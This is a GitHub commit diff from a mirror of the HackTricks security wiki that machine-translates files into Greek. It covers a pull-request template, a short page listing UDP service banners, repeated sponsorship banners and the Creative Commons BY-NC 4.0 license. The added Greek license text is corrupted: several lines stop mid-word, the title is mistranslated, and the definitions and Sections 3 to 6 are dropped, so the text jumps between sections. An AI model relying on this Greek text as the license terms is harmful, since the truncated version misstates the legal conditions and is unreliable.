mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-14 08:57:55 +00:00
Translated to Greek
This commit is contained in:
parent
116e3864db
commit
35c6b081d2
726 changed files with 61639 additions and 69568 deletions
6
.github/pull_request_template.md
vendored
6
.github/pull_request_template.md
vendored
|
@ -1,4 +1,4 @@
|
|||
## Attribution
|
||||
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or have explicit permission to use from the original author. Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
|
||||
## Αποδοχή
|
||||
Εκτιμούμε τη γνώση σας και σας ενθαρρύνουμε να μοιραστείτε περιεχόμενο. Βεβαιωθείτε ότι μόνο ανεβάζετε περιεχόμενο που σας ανήκει ή έχετε ρητή άδεια από τον αρχικό συντάκτη. Ο σεβασμός σας για τα πνευματικά δικαιώματα συμβάλλει σε ένα αξιόπιστο και νόμιμο περιβάλλον κοινής χρήσης για όλους.
|
||||
|
||||
Thank you for contributing to HackTricks!
|
||||
Σας ευχαριστούμε για τη συνεισφορά σας στο HackTricks!
|
||||
|
|
|
@ -1,53 +1,27 @@
|
|||
# 1911 - Pentesting fox
|
||||
# 1911 - Κυνηγός Εισβολέας
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
And more services:
|
||||
Και περισσότερες υπηρεσίες:
|
||||
|
||||
ubiquiti-discover udp "Ubiquiti Networks Device"
|
||||
ubiquiti-discover udp "Συσκευές Ubiquiti Networks"
|
||||
|
||||
dht udp "DHT Nodes"
|
||||
dht udp "Κόμβοι DHT"
|
||||
|
||||
5060 udp sip "SIP/"
|
||||
|
||||
![](<.gitbook/assets/image (273).png>)
|
||||
|
||||
![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
|
||||
InfluxDB
|
||||
|
||||
![](<.gitbook/assets/image (337).png>)
|
||||
|
||||
![](<.gitbook/assets/image (338).png>)
|
||||
|
||||
![](<.gitbook/assets/image (339).png>)
|
||||
|
||||
![](<.gitbook/assets/image (340).png>)
|
||||
|
||||
![](<.gitbook/assets/image (341).png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,16 +17,14 @@ Other ways to support HackTricks:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
205
LICENSE.md
205
LICENSE.md
|
@ -1,204 +1,93 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> by Carlos Polop is licensed under the <a href="https://creativecommons.org/licenses/by-nc/4.0/">Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)</a>.
|
||||
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Άδεια Creative Commons" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Πνευματικά δικαιώματα © Carlos Polop 2021. Εκτός αν αναφέρεται διαφορετικά (ο εξωτερικός πληροφορίες που αντιγράφονται στο βιβλίο ανήκουν στους αρχικούς συγγραφείς), το κείμενο στο <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> από τον Carlos Polop διανέμεται υπό την <a href="https://creativecommons.org/licenses/by-nc/4.0/">Άδεια Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)</a>.
|
||||
|
||||
License: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)<br>
|
||||
Human Readable License: https://creativecommons.org/licenses/by-nc/4.0/<br>
|
||||
Complete Legal Terms: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>
|
||||
Formatting: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>
|
||||
Άδεια: Αναφορά-Μη Εμπορική Χρήση 4.0 Διεθνής<br>
|
||||
Αναγνώσιμη Άδεια: https://creativecommons.org/licenses/by-nc/4.0/<br>
|
||||
Πλήρεις Νομικοί Όροι: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>
|
||||
Μορφοποίηση: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>
|
||||
|
||||
# creative commons
|
||||
|
||||
# Attribution-NonCommercial 4.0 International
|
||||
# Αναφορά-Μη Εμπορική Χρήση 4.0 Διεθνής
|
||||
|
||||
Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
|
||||
Η Creative Commons Corporation ("Creative Commons") δεν είναι δικηγορική εταιρεία και δεν παρέχει νομικές υπηρεσίες ή νομικές συμβουλές. Η διάθεση των δημόσιων αδειών της Creative Commons δεν δημιουργεί μια σχέση δικηγόρου-πελάτη ή άλλη σχέση. Η Creative Commons παρέχει τις άδειές της και τις σχετικές πληροφορίες της "ως έχουν". Η Creative Commons δεν παρέχει καμία εγγύηση σχετικά με τις άδειές της, οποιοδήποτε υλικό που έχει αδειοδοτηθεί με βάση τους όρους και τις προϋποθέσεις τους, ή οποιεσδήποτε σχετικές πληροφορίες. Η Creative Commons αποποιείται κάθε ευθύνη για ζημίες που προκύπτουν από τη χρήση τους στο μέτρο που είναι δυνατόν.
|
||||
|
||||
## Using Creative Commons Public Licenses
|
||||
## Χρήση Δημόσιων Αδειών Creative Commons
|
||||
|
||||
Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
|
||||
Οι δημόσιες άδειες Creative Commons παρέχουν ένα πρότυπο σύνολο όρων και προϋποθέσεων που οι δημιουργοί και άλλοι δικαιούχοι δικαιωμάτων μπορούν να χρησιμοποιήσουν για να μοιραστούν πρωτότυπα έργα δημιουργίας και άλλο υλικό που υπόκειται σε πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα που προβλέπονται στη δημόσια άδεια παρακάτω. Οι παρακάτω σκέψεις έχουν ενδεικτικό χαρακτήρα μόνο, δεν είναι εξαντλητικές και δεν αποτελούν μέρος των αδειών μας.
|
||||
|
||||
* __Considerations for licensors:__ Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. [More considerations for licensors](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
||||
* __Σκέψεις για τους αδειοδόχους:__ Οι δημόσιες άδειές μας προορίζ
|
||||
## Ενότητα 2 - Πεδίο εφαρμογής.
|
||||
|
||||
* __Considerations for the public:__ By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
||||
α. ___Άδεια χορήγησης.___
|
||||
|
||||
# Creative Commons Attribution-NonCommercial 4.0 International Public License
|
||||
1. Με τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας, ο Χορηγός χορηγεί σε εσένα μια παγκόσμια, απαλλαγμένη από δικαιώματα, μη-υπεραδικαιούμενη, μη-αποκλειστική, αμετάκλητη άδεια να ασκήσεις τα Άδειασμένα Δικαιώματα στο Άδειασμένο Υλικό για:
|
||||
|
||||
By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
|
||||
A. αναπαραγωγή και Κοινοποίηση του Άδειασμένου Υλικού, ολικά ή μερικώς, μόνο για μη-εμπορικούς σκοπούς· και
|
||||
|
||||
## Section 1 – Definitions.
|
||||
B. παραγωγή, αναπαραγωγή και Κοινοποίηση Προσαρμοσμένου Υλικού μόνο για μη-εμπορικούς σκοπούς.
|
||||
|
||||
a. __Adapted Material__ means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
|
||||
2. __Εξαιρέσεις και περιορισμοί.__ Για να αποφευχθεί οποιαδήποτε αμφισημία, όπου ισχύουν Εξαιρέσεις και Περιορισμοί για τη χρήση σου, αυτή η Δημόσια Άδεια δεν ισχύει και δεν χρειάζεται να συμμορφωθείς με τους όρους και τις προϋποθέσεις της.
|
||||
|
||||
b. __Adapter's License__ means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
|
||||
3. __Διάρκεια.__ Η διάρκεια αυτής της Δημόσιας Άδειας καθορίζεται στην Ενότητα 6(α).
|
||||
|
||||
c. __Copyright and Similar Rights__ means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
|
||||
4. __Μέσα και μορφές· επιτρεπόμενες τεχνικές τροποποιήσεις.__ Ο Χορηγός εξουσιοδοτεί εσένα να ασκήσεις τα Άδειασμένα Δικαιώματα σε όλα τα μέσα και τις μορφές, είτε είναι γνωστά επί του παρόντος είτε δημιουργηθούν στο μέλλον, και να πραγματοποιήσεις τροποποιήσεις που είναι απαραίτητες για να το κάνεις. Ο Χορηγός αποποιείται και/ή συμφωνεί να μην υποστηρίξει οποιοδήποτε δικαίωμα ή εξουσία να σου απαγορεύσει να πραγματοποιήσεις τεχνικές τροποποιήσεις που είναι απαραίτητες για να ασκήσεις τα Άδειασμένα Δικαιώματα, συμπεριλαμβανομένων των τεχνικών τροποποιήσεων που είναι απαραίτητες για να παρακάμψεις Αποτελεσματικά Τεχνολογικά Μέτρα. Για τους σκοπούς αυτής της Δημόσιας Άδειας, η απλή πραγματοποίηση τροποποιήσεων που εξουσιοδοτούνται από αυτήν την Ενότητα 2(α)(4) δεν παράγει ποτέ Προσαρμοσμένο Υλικό.
|
||||
|
||||
d. __Effective Technological Measures__ means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
|
||||
5. __Παραλήπτες κατωτέρω.__
|
||||
|
||||
e. __Exceptions and Limitations__ means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
|
||||
A. __Προσφορά από τον Χορηγό - Άδειασμένο Υλικό.__ Κάθε παραλήπτης του Άδειασμένου Υλικού λαμβάνει αυτόματα μια προσφορά από τον Χορηγό να ασκήσει τα Άδειασμένα Δικαιώματα με βάση τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας.
|
||||
|
||||
f. __Licensed Material__ means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
|
||||
B. __Χωρίς περιορισμούς προς τα κάτω.__ Δεν μπορείς να προσφέρεις ή να επιβάλεις οποιουδήποτε επιπλέον ή διαφορετικούς όρους ή προϋποθέσεις στο Άδειασμένο Υλικό, αν με αυτόν τον τρόπο περιορίζεις την άσκηση των Άδειασμένων Δικαιωμάτων από οποιονδήποτε παραλήπτη του Άδειασμένου Υλικού.
|
||||
|
||||
g. __Licensed Rights__ means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
|
||||
6. __Χωρίς έγκριση.__ Τίποτα σε αυτήν τη Δημόσια Άδεια δεν αποτελεί ή μπορεί να ερμηνευθεί ως άδεια να ισχυριστείς ή να υπονοείς ότι είσαι, ή ότι η χρήση σου του Άδειασμένου Υλικού είναι, συνδεδεμένη με, ή χορηγείται, υποστηρίζεται ή έχει επίσημη κατάσταση από τον Χορηγό ή άλλους που έχουν οριστεί για να λάβουν αναγνώριση όπως προβλέπεται στην Ενότητα 3(α)(1)(Α)(i).
|
||||
|
||||
h. __Licensor__ means the individual(s) or entity(ies) granting rights under this Public License.
|
||||
β. ___Άλλα δικαιώματα.___
|
||||
|
||||
i. __NonCommercial__ means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
|
||||
1. Τα ηθ
|
||||
## Ενότητα 7 - Άλλοι Όροι και Προϋποθέσεις.
|
||||
|
||||
j. __Share__ means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
|
||||
α. Ο Αδειοδόχος δεν θα είναι δεσμευμένος από οποιουδήποτε επιπρόσθετους ή διαφορετικούς όρους ή προϋποθέσεις που επικοινωνούνται από εσάς, εκτός αν συμφωνηθεί ρητώς.
|
||||
|
||||
k. __Sui Generis Database Rights__ means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
|
||||
β. Οποιεσδήποτε διευθετήσεις, κατανοήσεις ή συμφωνίες σχετικά με το Άδειο Υλικό που δεν αναφέρονται εδώ είναι ανεξάρτητες από τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας.
|
||||
|
||||
l. __You__ means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
|
||||
## Ενότητα 8 - Ερμηνεία.
|
||||
|
||||
## Section 2 – Scope.
|
||||
α. Για την αποφυγή αμφισημίας, αυτή η Δημόσια Άδεια δεν μειώνει, περιορίζει, περιορίζει ή επιβάλλει προϋποθέσεις σε οποιαδήποτε χρήση του Άδειου Υλικού που θα μπορούσε να γίνει νόμιμα χωρίς άδεια σύμφωνα με αυτήν τη Δημόσια Άδεια.
|
||||
|
||||
a. ___License grant.___
|
||||
β. Κατά το δυνατόν, εάν οποιαδήποτε διάταξη αυτής της Δημόσιας Άδειας θεωρηθεί μη εφαρμόσιμη, θα αναστραφεί αυτόματα στο ελάχιστο δυνατό βαθμό που απαιτείται για να γίνει εφαρμόσιμη. Εάν η διάταξη δεν μπορεί να αναστραφεί, θα αποσπαστεί από αυτήν τη Δημόσια Άδεια χωρίς να επηρεάζεται η εφαρμοσιμότητα των υπόλοιπων όρων και προϋποθέσεων.
|
||||
|
||||
1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
|
||||
|
||||
A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
|
||||
|
||||
B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only.
|
||||
|
||||
2. __Exceptions and Limitations.__ For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
|
||||
|
||||
3. __Term.__ The term of this Public License is specified in Section 6(a).
|
||||
|
||||
4. __Media and formats; technical modifications allowed.__ The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
|
||||
|
||||
5. __Downstream recipients.__
|
||||
|
||||
A. __Offer from the Licensor – Licensed Material.__ Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
|
||||
|
||||
B. __No downstream restrictions.__ You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
|
||||
|
||||
6. __No endorsement.__ Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
|
||||
|
||||
b. ___Other rights.___
|
||||
|
||||
1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
|
||||
|
||||
2. Patent and trademark rights are not licensed under this Public License.
|
||||
|
||||
3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
|
||||
|
||||
## Section 3 – License Conditions.
|
||||
